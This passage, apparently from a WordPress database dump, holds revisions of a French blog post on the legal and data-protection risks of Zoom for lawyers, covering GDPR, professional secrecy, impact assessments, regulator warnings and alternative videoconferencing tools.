href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant la popularité de cet outil de visio-conférence, les cris d’alarmes continuent à se faire entendre contre l’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“<a rel=\"noreferrer noopener\" href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\">Jonathan Leitschuh</a>, exposed a flaw allowing hackers to&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\">take over Zoom webcams</a>. The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade Commission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\">Zoom</a>&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user. As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks,” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">the complaint alleged.</a></em>” </li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to \"open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\" <a href=\"https://lnkd.in/epjxHgw\">Here’s the press release</a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy,” said Attorney General Tong. “ In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform. • Consult your software company’s security information or your IT department. <a href=\"https://lnkd.in/gRcq9x2\">Here\'s the press release</a> <strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être la responsabilité des juristes en matière de traitement des données consécutifs à l’utilisation d’une application qui a soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. La loi du 31 décembre 1971, et plus particulièrement les dispositions de son article 66-5 impliquent qu’« <em>en toutes matières, que ce soit dans le domaine du conseil ou dans celui de la défense, les consultations adressées par un avocat à son client ou destinées à celui-ci, les correspondances échangées entre le client et son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières de celles portant la mention « officielle », les notes d’entretien et, plus généralement, toutes les pièces du dossier sont couvertes par le secret professionnel</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La CNIL explique&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L\'AIPD&nbsp;se décompose en trois parties :</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Une description détaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects techniques qu’opérationnelsL’évaluation, de nature plus juridique, de la nécessité et de la proportionnalité concernant les principes et droits fondamentaux&nbsp; (finalité, données et durées de conservation, information et droits des personnes, etc.) non négociables, qui sont fixés par la loi et doivent être respectés, quels que soient les risques ;  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus technique, des risques sur la sécurité des données&nbsp;(confidentialité, intégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur la vie privée, qui permet de déterminer les mesures techniques et organisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement envisagé figure dans&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\"><em>la liste des types d’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a estimé obligatoire de réaliser une analyse d’impact relative à la protection des données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement remplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices du G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage à la mise en cause de sa responsabilité. Les ordres professionnels devraient être sensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une solution conforme aux exigences du règlement. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom Sued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\">lawsuit</a>&nbsp;[PDF], filed on Monday in California. The plaintiff in this case, Robert Cullen of Sacramento, California, <a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\">The Register.</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany Roush, Director at the Crypsis Group, said</a> : \"that having that kind of flexibility to ensure that critical services can carry on, especially in a crisis, does not take the teeth from the CCPA and GDPR. If anything, it demonstrates that the regulatory bodies are carrying out their essential function -- which is to ensure that companies protect consumer data... In many ways, the CCPA and GDPR should take a page from HIPAA, which lowered security standards for telehealth in order to manage the critical healthcare demands of the pandemic... we do not have the luxury of time on our side to devise perfect solutions.</em></li><li><a href=\"http:// https://www.techradar.com/uk/news/zoom-banned-for-official-use-in-taiwan\">Germany bans Zoom for official use</a></li><li><a href=\"https://uk.reuters.com/article/uk-spacex-zoom-video-commn/elon-musks-spacex-bans-zoom-over-privacy-concerns-memo-idUKKBN21J71J\">Elon Musk\'s SpaceX bans Zoom over privacy concerns - memo</a></li><li><a href=\"https://www.nextinpact.com/news/108877-la-direction-interministerielle-numerique-deconseille-fortement-application-zoom.htm\">La Direction interministérielle du numérique « déconseille fortement » l\'application Zoom</a></li><li><a href=\"https://www.macg.co/logiciels/2020/04/de-plus-en-plus-deconseille-zoom-fait-appel-lancien-chef-de-la-securite-de-facebook-113193\">De plus en plus déconseillé, Zoom fait appel à l\'ancien chef de la sécurité de Facebook&nbsp;</a></li><li><a href=\"https://www.forbes.com/sites/moorinsights/2020/04/03/why-most-should-avoid-the-out-of-control-zoom-right-now/\">Why Most Should Avoid An ‘Out Of Control’ Zoom Right Now</a></li><li><a href=\"https://www.techrepublic.com/article/dark-web-cybercriminals-sell-half-a-million-zoom-accounts/\">Dark web: Cybercriminals sell over 500,000 Zoom accounts</a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3><strong>Ainsi en conclusion, il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions alternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":651,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/Screenshot-2020-04-07-at-22.39.46.png\" alt=\"\" class=\"wp-image-651\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bit.ly/2yoXVIG\">Ta</a><a href=\"https://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\">bleau Comparatif NOYB</a><a href=\"https://bit.ly/2yoXVIG\">  -  Pour la version avec liens actifs,  </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autre <a href=\"https://bit.ly/2wLRJKs\">tableau comparatif produit par l\'Autorité de protection des données</a> <a href=\"https://autoriteitpersoonsgegevens.nl/sites/default/files/atoms/files/keuzehulp_privacy_videobellen.pdf\">Hollandaise</a> traduit par<a href=\"https://twitter.com/PiracyByDesign\"> Christopher SCHMIDT Data Privacy Specialist • Magister of Law CIPP⁄E CIPM CIPT CBSA</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":671} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/TAB1-725x1024.png\" alt=\"\" class=\"wp-image-671\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>CONTINUEZ A MAINTENIR L\'ALERTE EN SUIVANT LE COMPTE <a href=\"http://www.pearltrees.com/privacyday/zoom-video-conferencing/id31172465\">PEARLTREES</a> SUR LEQUEL SONT REGROUPÉS LES DERNIERES NEWS ET ARTICLE SUR CE SUJET.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Si vous teniez malgré tout à continuer à utiliser cette application, voici des conseils sur comment utiliser Zoom avec plus de sécurité :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;<a href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\" rel=\"noreferrer noopener\">Creative Commons Attribution 4.0 International License</a>.</p>\n<!-- /wp:paragraph -->','Zoom Visio-conférence Pour Les Juristes','Il est impératif de bien évaluer les incidences du choix d\'une technologie sur la protection des données. Un avocat manipulant des données sensibles qui lui sont confiées ou du fait de sa mission, est tenu à la plus grande vigilance. L\'analyse d\'impact s\'impose. En son absence, la mise en cause de la responsabilité est à craindre.','inherit','closed','closed','','601-revision-v1','','','2020-04-17 18:19:04','2020-04-17 17:19:04','',601,'https://datarainbow.eu/2020/04/17/601-revision-v1/',0,'revision','',0),(678,5,'2020-04-17 18:21:35','2020-04-17 17:21:35','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Données personnelles</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application de la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable. Les données précédemment notamment de santé, répertoriées comme des données ‘sensibles’, sont désormais des données de catégorie spéciale <strong>art. 9</strong> <strong>[_<a rel=\"noreferrer noopener\" href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui concerne les conditions de licéité du traitement. Des\ndérogations à l\'interdiction générale de traiter ces catégories particulières\nde données à caractère personnel devraient être explicitement prévues, entre\nautres lorsque la personne concernée donne son <strong>consentement explicite ou\npour répondre à des besoins spécifiques, en particulier lorsque le traitement\nest effectué dans le cadre d\'activités légitimes de certaines associations ou\nfondations ayant pour objet de permettre l\'exercice des libertés fondamentales.</strong></em><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- 